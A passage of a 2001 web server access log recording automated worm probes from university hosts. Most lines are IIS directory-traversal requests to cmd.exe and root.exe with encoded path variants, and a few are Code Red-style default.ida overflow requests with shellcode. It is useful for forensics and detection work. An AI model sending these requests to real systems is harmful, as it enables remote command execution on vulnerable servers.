  6150. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6151. 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6152. 20010918 19:50:13: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6153. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6154. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6155. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6156. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6157. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6158. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6159. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6160. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6161. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6162. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6163. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6164. 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6165. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6166. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6167. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6168. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6169. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6170. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6171. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6172. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6173. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6174. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6175. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6176. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6177. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6178. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6179. 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6180. 20010918 19:54:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6181. 20010918 19:54:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6182. 20010918 19:54:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6183. 20010918 19:54:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6184. 20010918 19:54:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6185. 20010918 20:03:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6186. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6187. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6188. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6189. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6190. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6191. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6192. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6193. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6194. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6195. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6196. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6197. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6198. 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6199. 20010918 20:05:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6200. 20010918 20:05:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6201. 20010918 20:05:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6202. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6203. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6204. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6205. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6206. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6207. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6208. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6209. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6210. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6211. 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6212. 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6213. 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6214. 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6215. 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6216. 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6217. 20010918 20:07:40: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6218. 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6219. 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6220. 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6221. 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6222. 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6223. 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6224. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6225. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6226. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6227. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6228. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6229. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6230. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6231. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6232. 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6233. 20010918 20:13:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6234. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6235. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6236. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6237. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6238. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6239. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6240. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6241. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6242. 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6243. 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6244. 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6245. 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6246. 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6247. 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6248. 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6249. 20010918 20:16:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6250. 20010918 20:23:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6251. 20010918 20:23:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6252. 20010918 20:23:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6253. 20010918 20:23:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6254. 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6255. 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6256. 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6257. 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6258. 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6259. 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6260. 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6261. 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6262. 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6263. 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6264. 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6265. 20010918 20:23:16: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6266. 20010918 20:25:24: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6267. 20010918 20:25:25: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6268. 20010918 20:25:26: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6269. 20010918 20:25:27: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6270. 20010918 20:25:28: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6271. 20010918 20:25:32: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6272. 20010918 20:25:36: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6273. 20010918 20:25:37: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6274. 20010918 20:25:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6275. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6276. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6277. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6278. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6279. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6280. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6281. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6282. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6283. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6284. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6285. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6286. 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6287. 20010918 20:25:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6288. 20010918 20:25:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6289. 20010918 20:25:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6290. 20010918 20:25:40: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6291. 20010918 20:25:42: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6292. 20010918 20:25:43: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6293. 20010918 20:25:44: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6294. 20010918 20:25:48: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6295. 20010918 20:25:49: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6296. 20010918 20:25:49: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6297. 20010918 20:25:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6298. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6299. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6300. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6301. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6302. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6303. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6304. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6305. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6306. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6307. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6308. 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6309. 20010918 20:26:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6310. 20010918 20:26:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6311. 20010918 20:26:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6312. 20010918 20:26:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6313. 20010918 20:26:03: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6314. 20010918 20:27:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6315. 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6316. 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6317. 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6318. 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6319. 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
